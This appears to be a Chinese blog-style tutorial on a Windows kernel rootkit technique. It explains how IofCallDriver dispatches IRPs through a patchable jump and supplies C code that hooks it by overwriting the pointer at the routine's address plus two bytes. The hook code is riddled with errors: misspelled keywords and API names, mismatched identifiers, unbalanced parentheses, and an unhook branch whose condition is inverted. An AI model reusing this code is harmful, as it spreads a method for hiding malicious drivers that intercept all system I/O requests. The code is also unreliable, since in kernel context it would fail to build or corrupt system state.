rootkit技术之IoCallDriver介绍

IoCallDriver是一个非常重要的内核例程，利用它可以过滤所有的系统请求，在IoCallDriver中调用IofCallDriver例程，几乎所有的内核驱动都调用了IofCallDriver。IoCallDriver的原型如下：

NTSTATUS 
  IoCallDriver(
    IN PDEVICE_OBJECT  DeviceObject,
    IN OUT PIRP  Irp
    );

它的作用是向指定的设备对象发送一个IRP。

在微软发布的内核的源码的\WRK-V1.2\base\ntos\io\iomgr\iosubs.c(2244)找到了IofCallDriver的实现

NTSTATUS FASTCALL IofCallDriver(     IN PDEVICE_OBJECT DeviceObject,     IN OUT PIRP Irp     ) {     if (pIofCallDriver != NULL) {           //         // This routine will either jump immediately to IovCallDriver or         // IoPerfCallDriver.         //         return pIofCallDriver(DeviceObject, Irp, _ReturnAddress());     }       return IopfCallDriver(DeviceObject, Irp); }

几乎所有的系统调用都是如此，进入之后，就会出现一个jmp，跳到真实的调用处，这就形成了一个系统调用跳转表，只要修改这个地址，就能构成一个hook，当然现在安全软件能够很容易的检测到它。

来看实现hook的代码

// 首先定义一个函数指针类型

typdef NTSTATUS FASTCALL ( *PMY_IOFCALLDRIVER_FP) (IN PDEVICE_OBJECT, IN OUT PIRP);

// 以下函数用函数newIofCallDriver去代替现有的IofCallDriver

// 同时返回旧的IofCallDriver所跳转的实际地址，如果失败，则返回空

PMY_IOFCALLDRIVER_FP MyHookIofCallDriverXP (

       IN PMY_IOFCALLDRIVER_FP newIofCallDriver,

       IN BOOLEAN hookOrUnhook)

{

     UNICODE_STRING functionName;

     PBYTE address;

     Static PMY_IOFCALLDRIVER_FP oldIofCallDriverBody = NULL;

RtlInitUnicodeString ( &functionName, L”IofCallDriver”);

 

// 得到IofCallDriver的入口地址

Address = MmGetSysemRoutineAddress (&functionName);

If(hookOrUnhook)

{

   // 获得入口地址后，加2字节的地址就是旧的

   // IofCallDriver 的执行体的地址

   oldIofCallDriverBody = ( PMY_IOFCALLDRIVER_FP )( *(PLONG)(address + 2);

   InterlockedExchange((PLONG) (address +2), newIoCallDriver);

   return oldIofCallDriverBody;

}

Else

{

// 复原

if（oldIofCallDriverBody == NULL）

{

        InterlockedExchange ((PLONG)(address + 2),

        oldIofCallDriverBody);

        return oldIofCallDriverBody;

}

}